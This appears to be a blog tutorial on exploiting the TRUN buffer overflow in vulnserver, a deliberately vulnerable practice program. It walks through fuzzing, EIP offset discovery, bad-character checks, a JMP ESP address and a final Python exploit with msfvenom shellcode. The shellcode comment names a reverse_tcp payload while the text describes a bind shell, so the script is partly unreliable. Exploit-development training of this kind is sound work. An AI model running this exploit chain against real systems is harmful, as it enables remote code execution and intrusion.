Background:

While i was working through the OSCE I remember folk were looking for something that would be roughly as challenging as the exam to practice the full fuzz -> RCE -> full remote shell lifecycle. The most common recommendation was to try vulnserver by Stephen Bradshaw. I didn't use it at the time, but i'm excited to loop back and give it a crack now.

I'm going to write down my steps along the way in case they help anyone else...

Vulnserver is available here: http://www.thegreycorner.com/2010/12/introducing-vulnserver.html 

Download the vulnserver software and get it running on a VM. I'd recommend XP so that none of the OS level protections from more modern operating systems get in your way of understanding the binary, but its up to you. Of course, the longer term goal is to build a complete exploit that will work on a fully patched and protected Win 10 machine but my personal preference is to figure out the application before wrestling with the OS. (Depending on how its configured, it's also possible that the modern OS wont give you any more hurdles at all).

Fuzzing:

Actually, before jumping into fuzzing with tools it might be nice to just take a look at what the application does.

I'd recommend just poking around a little. In the case of vulnserver, the easiest approach is probably just to run it on one machine, and connect to it from your kali machine with nc.

By default, vulnserver listens on port 9999.

After making the initial connection, I issue the help command and notice that this program appears to handle a set of commands as inputs, some of them take additional parameters. Our initial fuzzing efforts will focus on that. We'll build out a set of spike templates that will throw garbage into each of those accepted inputs to see if we can get the application to handle one of them poorly. (We also would usually try throwing some commands that are unexpected, and i did, but the application seems resilient to that so i'm just focusing on misusing the known inputs to start with).

Basic spike templates for the known vulnserver inputs are here: https://github.com/chadduffey/spike_templates_for_vulnserver

I'm going to use a simple script to loop through them till we (hopefully) get a crash:

from os import listdir
from os.path import isfile, join
import subprocess

files = [f for f in listdir('.') if isfile(join('.', f))]

target_ip = "10.0.0.99"
target_port = "9999"

for f in sorted(files):
    if ".spk" in f:
        print("Running: {}".format(f)) 
        subprocess.call(["/usr/bin/generic_send_tcp", target_ip, target_port, f, "0", "0"])

Running this, its not long before we see the application fall over...

I don't want to get too excited, but something that seems promising is that there is a tonne of our input on the stack as well as EIP being overwritten:

We can see what appears to be evidence that the TRUN command was the one to cause the crash, so we'll run another spike command, this time just using the TRUN template to be sure. We can do that by using generic_send_tcp outside of the script:

generic_send_tcp 10.0.0.99 9999 05trun.spk 0 0

We confirm that the crash is repeatable. Looking at the memory of the process in the debugger, it appears that the crash is caused by something along the lines of:

TRUN /.:/AAAA{...repeat-A-unknown-number-of-times...}

With that in mind, its time to try out a POC for the crash.

POC

Since we have a hunch as to what causes the application to crash, we can go ahead and convert to a POC template to start building on. I am going to use this for a start:

#!/usr/bin/python
import socket

crash_command = "TRUN /.:/" 
crash_padding = "\x41" * 10000
data = crash_command + crash_padding

print("buffer length: {}".format(len(data)))

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('10.0.0.99',9999))
s.send(data.encode())

print(data.encode())

print("payload sent")

s.close()

This works! We have a reliable crash and the start of a POC. (I should note right here that there's a reasonable chance this is a rabbit hole, and there are other bugs i should be looking for, but for now, we are going to keep pulling on this thread).

Searching for EIP

We can see in the debugger that EIP is cleanly overwritten by our POC, the next step is to find out which bytes are the ones that do so. Figuring this out will allow us to modify the flow of execution and hopefully get us on the right path to a full working exploit.

To figure out where that is i am going to use pattern_create.rb to generate a unique string as long as the buffer that i am currently sending (i bought it down to 3000 bytes).

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

Take that big buffer of junk and use it in the crash_padding variable rather than the "\x41" * 3000 we have now.

If the script is still able to generate the crash, we will be in good shape. (The random string might not work as planned if there are 'bad characters' in it).

It works!.. and we have some more useful information in EIP:

With that information, we can identify the place where our EIP overwrite occurs.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 77C848AB -l 3000
[*] Exact match at offset 2003

It appears that EIP is overwritten with the bytes beginning at 2003. To prove that, we update the payload so that we have all A's till 2003, then four B's, then as many more A's as we can have the service accept. Something like:

crash_command = "TRUN /.:/" 
pad = "\x41" * 2002
eip = "\x42" * 4
post_eip = "\x41" * 997
data = crash_command + pad + eip + post_eip

We send that to the server and cross our fingers...

Bloody beautiful. We have overwritten EIP, we should be able to make it whatever we like. We have a solid shot at controlling execution from now on.

Controlling Execution

Next we need to figure out where we can place code, and how to get the processor to start executing from that spot.

By modifying the buffer a little more, and placing C's after the EIP overwrite it becomes clear that the stack pointer is pointing to a buffer we control and that it is reasonably large.

Before we get into that too much, its probably also a good time to check for 'bad characters', inputs that might terminate the string headed into our vulnerable application and ruin the exploit.

To do that, we create an array of all the characters and send them into the application. We then inspect the memory in the application to make sure none of the characters went missing.

The input buffer part of the POC becomes:

crash_command = "TRUN /.:/" 
pad = "\x41" * 2002
eip = "\x42" * 4
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
post_eip = "\x43" * (997 - 256)
data = crash_command + pad + eip + post_eip

We exclude \x00 right away (null terminator), and inspect the buffer on the server.

Strangely enough, it appears that we are OK from a bad character perspective. (bytes \x01 through \xFF appear in the debugger).

The most straightforward approach now then is if we can find an instruction that tells the CPU to start executing the code pointed to by the stack pointer (the code we can control). For this, we are looking to leverage a JMP ESP instruction somewhere in the process.

If we had to work out what JMP ESP looked like in hex we could use nasm from our Kali machine:

root@k64:~/spike_scripts# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp esp
00000000 FFE4 jmp esp

Now we know that we are searching for FFE4. We would prefer to find it in one of the application binaries if possible to ensure that the exploit works across machines that may not have the same things loaded into the process space of vulnserver. "essfunc.dll" that ships with vulnserver looks like a good candidate.

I switch over to immunity debugger to get mona scripting support and use:

!mona find -s "\xff\xe4" -m essfunc.dll

I get 9 results and on this machine, and with these .dll compile options it looks like ASLR is not going to get in the way.

I'm going to choose the first of the results, add it to the payload and set a breakpoint to make sure we end up in the desired location.

The payload section now looks like this:

crash_command = "TRUN /.:/" 
pad = "\x41" * 2002
eip = "\xaf\x11\x50\x62"
post_eip = "\x43" * (997)
data = crash_command + pad + eip + post_eip

Success. We hit the breakpoint and can see that code execution will be redirected to our buffer (currently containing c's, but soon to contain our exploit code)

Generating a payload

With all the pieces in place we go ahead and generate a simple payload using msfvenom.

msfvenom -p windows/shell_bind_tcp -b "\x00" -f c

Putting it all together:

We add the payload to the script, and also add some NOPS right at the start of the payload to make sure we don't step on ourselves while decoding.

Final script shown below:

import socket

#341 bytes: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.22 LPORT=443 -f python

sc = ("\xda\xc4\xb8\x26\xe6\x17\xfd\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
"\x53\x31\x42\x17\x83\xc2\x04\x03\x64\xf5\xf5\x08\x94\x11\x7b"
"\xf2\x64\xe2\x1c\x7a\x81\xd3\x1c\x18\xc2\x44\xad\x6a\x86\x68"
"\x46\x3e\x32\xfa\x2a\x97\x35\x4b\x80\xc1\x78\x4c\xb9\x32\x1b"
"\xce\xc0\x66\xfb\xef\x0a\x7b\xfa\x28\x76\x76\xae\xe1\xfc\x25"
"\x5e\x85\x49\xf6\xd5\xd5\x5c\x7e\x0a\xad\x5f\xaf\x9d\xa5\x39"
"\x6f\x1c\x69\x32\x26\x06\x6e\x7f\xf0\xbd\x44\x0b\x03\x17\x95"
"\xf4\xa8\x56\x19\x07\xb0\x9f\x9e\xf8\xc7\xe9\xdc\x85\xdf\x2e"
"\x9e\x51\x55\xb4\x38\x11\xcd\x10\xb8\xf6\x88\xd3\xb6\xb3\xdf"
"\xbb\xda\x42\x33\xb0\xe7\xcf\xb2\x16\x6e\x8b\x90\xb2\x2a\x4f"
"\xb8\xe3\x96\x3e\xc5\xf3\x78\x9e\x63\x78\x94\xcb\x19\x23\xf1"
"\x38\x10\xdb\x01\x57\x23\xa8\x33\xf8\x9f\x26\x78\x71\x06\xb1"
"\x7f\xa8\xfe\x2d\x7e\x53\xff\x64\x45\x07\xaf\x1e\x6c\x28\x24"
"\xde\x91\xfd\xd1\xd6\x34\xae\xc7\x1b\x86\x1e\x48\xb3\x6f\x75"
"\x47\xec\x90\x76\x8d\x85\x39\x8b\x2e\xb8\xe5\x02\xc8\xd0\x05"
"\x43\x42\x4c\xe4\xb0\x5b\xeb\x17\x93\xf3\x9b\x50\xf5\xc4\xa4"
"\x60\xd3\x62\x32\xeb\x30\xb7\x23\xec\x1c\x9f\x34\x7b\xea\x4e"
"\x77\x1d\xeb\x5a\xef\xbe\x7e\x01\xef\xc9\x62\x9e\xb8\x9e\x55"
"\xd7\x2c\x33\xcf\x41\x52\xce\x89\xaa\xd6\x15\x6a\x34\xd7\xd8"
"\xd6\x12\xc7\x24\xd6\x1e\xb3\xf8\x81\xc8\x6d\xbf\x7b\xbb\xc7"
"\x69\xd7\x15\x8f\xec\x1b\xa6\xc9\xf0\x71\x50\x35\x40\x2c\x25"
"\x4a\x6d\xb8\xa1\x33\x93\x58\x4d\xee\x17\x68\x04\xb2\x3e\xe1"
"\xc1\x27\x03\x6c\xf2\x92\x40\x89\x71\x16\x39\x6e\x69\x53\x3c"
"\x2a\x2d\x88\x4c\x23\xd8\xae\xe3\x44\xc9")

final = "A" * 2002
final += "\xaf\x11\x50\x62"
final += "\x90" * 16
final += sc
final += "C" * (3000 - len(final))
 
print "buffer length: " + str(len(final))
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('10.0.0.99',9999))
s.send("TRUN /.:/ " + final)

print "payload sent"
 
s.close()

We fire off the exploit and cross our fingers...

Success!

We can connect to the new listener on the default msfvenom port on the victim machine (4444) and have a remote console:

To be thorough, we can take a look at the victim machine, and see that the vulnserver.exe process is still running, and also that the attacker has established the connection:

It's also worth noting that the exploit works just fine on a vanilla win10 machine.

And, that'll do for now.